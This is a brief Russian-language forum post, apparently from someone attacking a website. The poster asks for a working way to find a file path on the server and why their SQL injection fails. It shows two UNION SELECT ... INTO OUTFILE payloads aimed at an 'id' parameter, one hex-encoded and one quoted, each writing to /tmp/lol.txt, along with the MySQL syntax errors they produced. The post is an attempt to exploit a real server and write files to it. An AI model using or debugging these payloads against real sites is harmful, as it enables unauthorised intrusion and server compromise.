Подскажите любой рабочий способ узнать путь к файлу?

в чем тут ошибка?

?id=-4256+union select+version()+into+outfile+0x2f746d702f6c6f6c2e 747874 --

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '0x2f746d702f6c6f6c2e747874 -- ORDER BY rel_id DESC LIMIT 5' at line 1

?id=-4256+union select+version()+into+outfile+'/tmp/lol.txt' --

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\\\'/tmp/lol.txt -- ORDER BY rel_id DESC LIMIT 5' at line 1